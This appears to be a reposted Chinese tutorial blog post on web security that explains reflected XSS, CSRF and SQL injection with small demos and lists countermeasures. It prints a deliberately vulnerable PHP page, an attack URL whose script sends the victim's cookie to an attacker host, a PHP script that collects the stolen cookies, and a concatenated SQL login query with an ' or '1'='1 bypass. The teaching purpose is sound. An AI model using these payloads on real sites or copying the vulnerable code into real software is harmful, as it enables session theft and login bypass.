网络安全小结

网络安全中XSS攻击,什么是CSRF攻击,SQL注入攻击是经常会碰到的问题,特别是对于XSS和CRSF以及他们之间的区别官方解释比较难以理解,所以想通过两个简单的DEMO来加深对XSS和CRSF的理解。最后再说明下SQL注入攻击。

1.XSS攻击

xss,cross site scripting,又称跨站脚本攻击,其攻击的本质是让用户的浏览器运行一段刻意构造的脚本,其实用户的浏览器在加载页面时候会调用其中的脚本段,如果其中存在一段刻意构造的恶意脚本的话,就会被浏览器直接执行,造成攻击。

xss攻击分为三类:反射型xss,存储型xss,DOM型xss

举个简单的demo解释下:

存在漏洞的URL为:http://172.16.35.135/xss_demo.php

页面内容如下:

<?php
session_start();
?>
<!doctype html>
<html>
    <head>
        <title>XSS demo</title>
    </head>
    <body>
    <form>
    <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
            <input type="submit" value="Submit" />
        </form>
    </body>
</html>

用户正常访问的链接为:http://172.16.35.135/xss_demo.php,打开页面不会出现问题。

现在某个黑客恶意制造了一个这样的链接地址(攻击URL):http://172.16.35.135/xss_demo.php?<script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script>

黑客可以采取各种手段,包括发Email,在各种论坛网站发布此攻击URL,做成一个诱人链接。

这样当用户点击该链接时,打开的页面内容就变为:

<!doctype html>
<html>
    <head>
        <title>XSS demo</title>
    </head>
    <body>
    <form>
    <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
            <input type="submit" value="Submit" />
        </form>
    </body>
</html>

当打开页面后,这个html会去执行黑客事先设计好的的脚本代码:

<script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script>

假设黑客设计好的xss_hacker.php页面http://172.16.2.192/xss_hacker.php为:

<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
file_put_contents('xss_victim.txt', $victim);

则这个程序会将用户的cookie敏感信息写入到文件中保存起来,当然现实中肯定是写入到数据库中保存起来。

这个时候用户的cookie就被黑客劫持了,黑客拿到用户的cookie信息以后就可以干各种坏事了。

XSS的预防可以从多方面着手:

(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;

(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;

         1)将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

          2)表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合.

          3)过滤或移除特殊的Html标签, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for

          4)过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。

2.CSRF攻击

CSRF攻击(Cross Site Request Forgery,跨站请求伪造)是攻击者通过跨站请求,以合法的用户身份进行非法操作(如转账或发帖等)。CSRF的原理是利用浏览器的Cookie或服务器的Session,盗取用户身份。

也用一个简单的DEMO来说明CSRF攻击。

                                                  CSRF攻击示意图

上面的示例图简单的说明了CSRF攻击的过程。黑客先登录信任的网站A,生成cookie。

然后用户访问攻击网站B,B为制造一个链接,当用户点击这个链接以后,就会发送一个攻击者设计好的请求到A网站,这个请求对A网站来说是正常用户请求,但实质上用户并不知道这个请求,违背了用户的意图。攻击者借用用户的cookie信息来制造恶意操作。

CSRF成功的前提用户必须登录到目标站点,且用户浏览了攻击者控制的站点。

防范CSRF攻击:

(1)在表单中添加令牌(token);

(2)验证码;

(3)检查请求头中的Referer(前面提到防图片盗链接也是用的这种方式)

3. SQL注入攻击

SQL注入攻击与XSS攻击十分相似,XSS攻击是注入到html脚本,而SQL注入攻击是注入到SQL语句中。

也是举一个DEMO来说明。

⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。

⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:

System.Text.StringBuilder query = new System.Text.StringBuilder(
   "SELECT * from Users WHERE login = '")
   .Append(txtLogin.Text).Append("' AND password='")
   .Append(txtPassword.Text).Append("'");


⑶ 攻击者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。

⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。

⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。

⑹ 由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。

如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询,他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能,欺骗系统授予访问权限。

防范SQL注入攻击也可以采用

1)消毒的方式,

2)通过正则表达式对请求参数进行验证;

3)参数绑定也是很好的手段,这样恶意的SQL会被当做SQL的参数而不是命令被执行,JDBC中的PreparedStatement就是支持参数绑定的语句对象,从性能和安全性上都明显优于Statement

参考资料:

https://blog.csdn.net/smstong/article/details/43561607

https://www.cnblogs.com/binyao/p/4900393.html

猜你喜欢

转载自blog.csdn.net/w450093854/article/details/83618370